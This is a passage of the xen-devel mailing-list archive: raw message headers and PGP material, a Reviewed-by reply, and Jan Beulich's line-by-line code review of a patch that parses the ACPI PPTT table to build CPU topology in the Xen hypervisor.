X-Gm-Gg: AR+sD12axKdJxmt8G0M/Jq2n52ZSpOCzs8kAtj3CUxZfZq5xjRJdO8UdOFy/dkBHz7n
	N+1qNs7h10NExKOL6tAv5c42DgKG7lFRT5J4xg2evLcmXyLOpxmwghMr9A/uId/Ml3GK0VLaAY+
	4G9ObfJbKPEoKMhvNz16BFoM7qS2i9OJgwp3Ows34q6cGTyeKTerMm+BqKCzwyINqZR/5Tq5MMD
	NP+vMKnxgNxYL4komKc/dUnx870XRmlbxeQ0jvja2WeoQK96UvS5DOxa41rX1I1j2PCMJ8wF0pZ
	hrmXPLaFG/gQBxEklccLVX94O8FQoONjgnVOcx/FZyC2rfl/azvwGxdDJ+dYLPILzMXx7WWLALO
	dVmlxyzdquGFHQpiFhfdmRqQXUghI6a8jJy0eTEEgfBTTqkhiuHiS91OYlNoAzYkxMkV5hVSpXs
	gGC0NQHLXz5zaKZxDH39YbevYJZ4SrTX7F/0v2ytIa8xAl7mipnqcPu03p4fTVbiY68QVGeKF+2
	aNlMSl0Pt4NSNANMhzlyIvztskATp6HaE8+L2ucPtQ=
X-Received: by 2002:a05:6402:5191:b0:69c:3ea3:6d39 with SMTP id 4fb4d7f45d1cf-69f6c5e50c3mr1486153a12.35.1784816797188;
        Thu, 23 Jul 2026 07:26:37 -0700 (PDT)
Message-ID: <e21f3059-66c6-4fab-a04f-a33bd27c5c32@suse.com>
Date: Thu, 23 Jul 2026 16:26:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 3/5] xen/sched: Make cpu_nr_siblings()
 architecture-specific
To: Hirokazu Takahashi <taka@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com, Jan Beulich <jbeulich@suse.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-4-taka@valinux.co.jp>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEF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DsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260720162819.308326-4-taka@valinux.co.jp>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------szKKitpJ3zD4nOxLyTKzR1gR"
X-purgate-ID: tlsNG-ef75cf/1784816797-A6AD8AE4-94602A03/0/0
X-purgate-type: clean
X-purgate-size: 8493

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------szKKitpJ3zD4nOxLyTKzR1gR
Content-Type: multipart/mixed; boundary="------------r5aDTY590nB4304RJggLzXXt";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Hirokazu Takahashi <taka@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com, Jan Beulich <jbeulich@suse.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>
Message-ID: <e21f3059-66c6-4fab-a04f-a33bd27c5c32@suse.com>
Subject: Re: [PATCH v7 3/5] xen/sched: Make cpu_nr_siblings()
 architecture-specific
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-4-taka@valinux.co.jp>
In-Reply-To: <20260720162819.308326-4-taka@valinux.co.jp>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb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Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------r5aDTY590nB4304RJggLzXXt
Content-Type: multipart/mixed; boundary="------------96I6fWAJVB8RES040nLlGyup"

--------------96I6fWAJVB8RES040nLlGyup
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTg6MjgsIEhpcm9rYXp1IFRha2FoYXNoaSB3cm90ZToNCj4gTWFrZSBj
cHVfbnJfc2libGluZ3MoKSBhbiBhcmNoaXRlY3R1cmUtc3BlY2lmaWMgZnVuY3Rpb24uDQo+
IFRoaXMgcGF0Y2ggcHJvdmlkZXMgdGhlIGltcGxlbWVudGF0aW9uIGZvciB4ODYgYW5kIGEg
Y29tbW9uDQo+IHZlcnNpb24gZm9yIERldmljZSBUcmVlLWJhc2VkIGFyY2hpdGVjdHVyZXMu
DQo+IA0KPiBTaWduZWQtb2ZmLWJ5OiBIaXJva2F6dSBUYWthaGFzaGkgPHRha2FAdmFsaW51
eC5jby5qcD4NCj4gQWNrZWQtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNlLmNvbT4N
Cg0KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT4gIyBzY2hl
ZHVsZXIgcGFydA0KDQoNCkp1ZXJnZW4NCg==
--------------96I6fWAJVB8RES040nLlGyup
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE7i9Hz6rVwi7lWKgh7pe0ZvatAud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4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------96I6fWAJVB8RES040nLlGyup--

--------------r5aDTY590nB4304RJggLzXXt--

--------------szKKitpJ3zD4nOxLyTKzR1gR
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpiJJwFAwAAAAAACgkQsN6d1ii/Ey8N
iQf8DbAZU9Yf5xd/aHcmRn6Mxl2RmVz+N3yVI+9HBYC/1j6cfWHel/ax2I48/0BmmBUbaVJfS/8r
SPpKH8v2NrnkDqc2E3th/wz6Hjl3sgkgkmMmXCBT+CAVJ3WrGiCLGgIgqbXIXBfPHo4Zp6QHICOE
qQgg6i/U6oOIwuPqd/M0NS34CW0wWB8NsFli2fK9ZWMBXUYo+KQtcgdcplkED/mNt7S/htxgPFJP
5zBLDWZMluV7GVzBnUTpaXEfy7YDFTMjfd8cJs5ynLRs6QULF7j+Z1Talo7qM3MPaGGWbbmHZllp
LPpSTahqomI/roCVUJyim1GM56OU8fAtVSQiNp5Jiw==
=zSG6
-----END PGP SIGNATURE-----

--------------szKKitpJ3zD4nOxLyTKzR1gR--


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:36:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:36:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369255.1618110 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuXF-00055G-9w; Thu, 23 Jul 2026 14:36:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369255.1618110; Thu, 23 Jul 2026 14:36:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuXF-000559-7F; Thu, 23 Jul 2026 14:36:29 +0000
Received: by outflank-mailman (input) for mailman id 1369255;
 Thu, 23 Jul 2026 14:36:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmuXD-000551-SG
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:36:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmuXD-0049y0-8r
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:36:27 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6226df-2eae-0a2a0a5409dd-0a2a450a8906-40
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:36:27 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6226eb-f2d2-0a2a450a0019-d155dd2ed4cb-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:36:27 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47f93b2fe4cso266593f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:36:27 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-495653c9d99sm228385865e9.12.2026.07.23.07.36.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:36:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784817387; x=1785422187; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=nER6+fszNpRb0dqePPmSfFaJqau7v8SSgi5J5pliadE=;
        b=WwEeXd+tM0bDdMLC2aIgMMfs5eOagfw9rKLbhFJH4UHHadTb/op40V1uKVKGcmAg3l
         QRJUe6qfGYYTrOc5VF5McFhZnOzyfTh8h+67PVQ36NGtts0/mFU+feaqo4BeKlpiy1gq
         zTLDNQ7vXylDBzzt8OBu7mz+siX0eCbDwDGJc+3aZn7rbxCjABVt5MSHWCan7k5pXoEh
         +E39UU1t3YwyrQWDxZLaPPaPVloTZMGkektgjjs3JPVXDevn34SNYOC7mAk58fQMMXbS
         FhrRYJ7w8fqF9Eg4fLM/FtES/d2yo4RNVzKNiiTkHZahf1mHLku3CAQDNza0rJfbOHq3
         irfg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784817387; x=1785422187;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=nER6+fszNpRb0dqePPmSfFaJqau7v8SSgi5J5pliadE=;
        b=EB+FkK1tRbeOik8sKmeFmC6vniP3mDuoG2pviTfSQ0Oq63IpX2y2S8YsqS0OqBxhSV
         a91AIYdLT+O20WEQxDqDp0sPaZZPebovRLlqXiVI2Ikpvrxx6MDsMI3I5gj3ppsRr5x4
         FbX8QPS3aAtP6TdJygpVYRArAJPN/4B4aj10UplrkL4mdMBktgMHQSEZrX5q8o4DW6jh
         FyK5ATK66dWYH3FldChj/xY1iRCZj3sp3ncbFYuqLIAL5QObaJlHR8lSX9ebQD1/qMLY
         X3yi5JbMjzsd019gcTw96vXZryqDNIIo8Z7qW3XjmrhFR0zPHNzVTA+krnrLgripbYsr
         G2lw==
X-Forwarded-Encrypted: i=1; AHgh+RoAo3Dd0sf6DcfYhjr3tVDbRKXb0dWrYIno5bSxqRuSNgrG98fZ4grG0xngBJ/vltMHxtrFY+4AI18=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxVoSuVYbouP4tcJhWWNbpVQyr3wJlPHpItKB76Tj03zeI18ORa
	Ah8cVyT/Ke1AabWKZN/qn4yG1JC/vvaL7cV6pzCjQFJW8QHc0jBMKvxKi/ESNUQkDw==
X-Gm-Gg: AR+sD11aEPjsouRztPHTPdXyGhFY7Pmd1r5punOMHq3PoMEYZbi+AiKSTvNXNHY6Awd
	kxcolmldWkqmObEJ/1eBE0RBBoFATgkyKnrM3j6mKXjx84EPc0aGDM7P4972gXpiMpQyusV/wnG
	XnRJIJmhWwS/4acgUWYQrDxo5USPUIMjbHwnaJMY9AHfBsb7Hav+bynzcoy0BW7bIFC5+ugZ3ki
	xKZP8df7GZwg6CvCAfhhgELWLACLmNaI0BXPKVvYeOS8tdPtd8PtI5ds3a2V1lecQldGScGZiSE
	dOrY6Z1TBgLS0mLSQzi/iLmH8sw7r4SzhOy7Xxu7KdsEbbqoF46fwkAa2iAChEka11HIf6g9jE9
	6yh3j5LZuTZT/Ehh1VqE4Ygut5gJU+ZPw+PRJ1H2Hz/PrvZkH3PsTdUA6+A8sxzqHG+5W70ahQH
	eYYdhXKEnFhXAEyp4EGrYPcM/cLWlpIbCrAZMUqp9QxEs77Omi4x10DkKOVCP4k/iQNA==
X-Received: by 2002:a05:600c:c084:b0:493:fa66:4861 with SMTP id 5b1f17b1804b1-49573cfa044mr32124015e9.25.1784817386595;
        Thu, 23 Jul 2026 07:36:26 -0700 (PDT)
Message-ID: <60128094-5cf5-4fce-89ba-646e9790b27f@suse.com>
Date: Thu, 23 Jul 2026 16:36:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 5/5] xen/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-6-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuI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bit
X-purgate-ID: tlsNG-4011c0/1784817387-53CD3CFC-1F8ABE19/0/0
X-purgate-type: clean
X-purgate-size: 7427

On 20.07.2026 18:28, Hirokazu Takahashi wrote:
> --- a/xen/arch/arm/include/asm/acpi.h
> +++ b/xen/arch/arm/include/asm/acpi.h
> @@ -61,6 +61,8 @@ paddr_t acpi_get_table_offset(struct membank tbl_add[], EFI_MEM_RES index);
>      (!(entry) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||	\
>       (entry)->header.length != ACPI_MADT_GICC_LENGTH)
>  
> +#define INVALID_ACPIID		(-1U)

This way the constant is becoming available only on Arm, but ...

> --- a/xen/drivers/acpi/topology.c
> +++ b/xen/drivers/acpi/topology.c
> @@ -4,33 +4,319 @@
>  #include <xen/cpu-topology.h>
>  #include <xen/cpumask.h>
>  #include <xen/init.h>
> +#include <xen/xvmalloc.h>
> +
> +#define ACPI_PPTT_MAX_LEVELS 16
> +
> +static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
> +    [0 ... NR_CPUS - 1] = INVALID_ACPIID

... you use it in code which (in principle) isn't Arm-specific (it only
happens to be right now).

> +};
>  
>  /*
> - * TODO: Populate the topology information by scanning the ACPI
> - *       PPTT (Processor Properties Topology Table).
> + * The first argument 'cpu' is the logical CPU ID assigned by Xen,
> + * and the second argument 'acpi_id' is passed the 'uid' field from
> + * the ACPI MADT Generic Interrupt subtable.

This comment also looks to be (in part) Arm-specific, which it shouldn't be
here.

>   */
> -int __init acpi_init_cpu_topology(void)
> +void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
>  {
> -    unsigned int cpu;
> +    map_cpu_acpiid[cpu] = acpi_id;
> +}
> +
> +static unsigned int __init get_logical_id(unsigned int key,
> +                                          unsigned int *map,
> +                                          unsigned int *count)
> +{
> +    unsigned int id;
> +
> +    for ( id = 0; id < *count; id++ )
> +        if ( map[id] == key )
> +            return id;
> +
> +    map[*count] = key;
> +
> +    return (*count)++;
> +}
> +
> +static bool __init verify_subtable(const struct acpi_subtable_header *entry,
> +                                   const struct acpi_table_pptt *pptt)
> +{
> +    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
> +
> +    if ( entry->length < sizeof(*entry) || entry->length & 3 )

Parentheses please around & or alike within || or alike.

> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT subtable length is invalid\n");

Like you have it here, ...

> +        return false;
> +    }
> +
> +    if ( (unsigned long)entry + entry->length > table_end )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT subtable extends beyond table end.\n");

... no full stop please in log messages (applies elsewhere as well).

> +        return false;
> +    }
> +
> +    return true;
> +}
> +
> +static bool __init verify_proc(const struct acpi_pptt_processor *proc)
> +{
> +    unsigned long table_size;
> +
> +    if ( proc->header.length < sizeof(*proc) )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT processor node length is too small.\n");
> +        return false;
> +    }
>  
>      /*
> -     * Generate temporary cpu topology information for now.
> -     * It assumes that the cpu doesn't have SMT and all CPUs
> -     * belong to the same socket.
> +     * Each private resource is represented by a 32-bit resource ID.
> +     * Ensure the structure length accurately accounts for the trailing array.
>       */
> +    table_size = sizeof(*proc)
> +        + (unsigned long)proc->number_of_priv_resources * sizeof(uint32_t);
> +
> +    if ( proc->header.length != table_size )

Isn't != overly strict?

> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT processor node length invalid.\n");
> +        return false;
> +    }
> +
> +    return true;
> +}
> +
> +static const struct acpi_pptt_processor *__init find_pptt_node(
> +    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
> +{
> +    const struct acpi_subtable_header *entry;
> +    unsigned long table_end;
> +    const void *ptr;
> +
> +    table_end = (unsigned long)pptt + pptt->header.length;
> +
> +    ptr = pptt + 1;

Make these the initializers of their variables?

> +    while ( (unsigned long)ptr + sizeof(*entry) <= table_end )
> +    {
> +        entry = ptr;
> +
> +        if ( !verify_subtable(entry, pptt) )
> +            break;
> +
> +        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
> +        {
> +            const struct acpi_pptt_processor *proc;
> +
> +            proc = container_of(entry, const struct acpi_pptt_processor,
> +                                header);
> +
> +            if ( !verify_proc(proc) )
> +                break;
> +
> +            /*
> +             * Leaf node verification is only required for ACPI 6.3
> +             * (PPTT revision 2) or later.
> +             */
> +            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID)
> +                 && proc->acpi_processor_id == acpi_id
> +                 && (pptt->header.revision < 2
> +                     || (proc->flags & ACPI_PPTT_ACPI_LEAF_NODE)) )

Misplaced binary operators (also elsewhere). On continued lines they go at
the end of the earlier line.

> +                return proc;
> +        }
> +
> +        ptr += entry->length;
> +    }
> +
> +    return NULL;
> +}
> +
> +/*
> + * Populate the topology information by scanning the ACPI PPTT
> + * (Processor Properties Topology Table).
> + */
> +int __init acpi_init_cpu_topology(void)
> +{
> +    acpi_status status;
> +    struct acpi_table_header *table_header;
> +    const struct acpi_table_pptt *pptt;
> +    unsigned int num_sockets = 0;
> +    unsigned int num_clusters = 0;
> +    unsigned int num_cores = 0;
> +    unsigned int *socket_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *cluster_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *core_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int cpu;
> +    int ret = 0;
> +
> +    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
> +    if ( ACPI_FAILURE(status) )
> +    {
> +        /* A missing PPTT is benign; fall back to the default topology. */
> +        ret = -ENODEV;
> +        goto out;
> +    }
> +
> +    if ( !socket_map || !cluster_map || !core_map )
> +    {
> +        printk(XENLOG_ERR
> +               "ACPI: Failed to allocate memory for topology parsing.\n");
> +        ret = -ENOMEM;
> +        goto out;
> +    }
> +
> +    pptt = container_of(table_header, const struct acpi_table_pptt, header);
> +
>      for_each_possible_cpu(cpu)
>      {
> +        uint32_t acpi_id = map_cpu_acpiid[cpu];
>          struct cpu_topology *topo = &cpu_topology[cpu];
> +        const struct acpi_pptt_processor *proc;
> +        unsigned int level;
> +        unsigned int core_group_key = 0;
> +        unsigned int cluster_group_key = 0;
> +        unsigned int socket_group_key = 0;
> +        bool threading = false;
> +
> +        proc = find_pptt_node(pptt, acpi_id);
> +        if ( !proc )
> +        {
> +            printk(XENLOG_WARNING
> +                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",

Please prefer the slightly shorter %#x (and definitely please don't mix a 0x
prefix with %u). Again applies elsewhere as well.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:44:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:44:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369268.1618120 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuf1-0006qx-52; Thu, 23 Jul 2026 14:44:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369268.1618120; Thu, 23 Jul 2026 14:44:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmuf1-0006qq-24; Thu, 23 Jul 2026 14:44:31 +0000
Received: by outflank-mailman (input) for mailman id 1369268;
 Thu, 23 Jul 2026 14:44:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmuez-0006qk-VL
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:44:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmuey-00BSTo-Vz
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:44:29 +0200
Received: from [10.42.69.2] (helo=localhost)
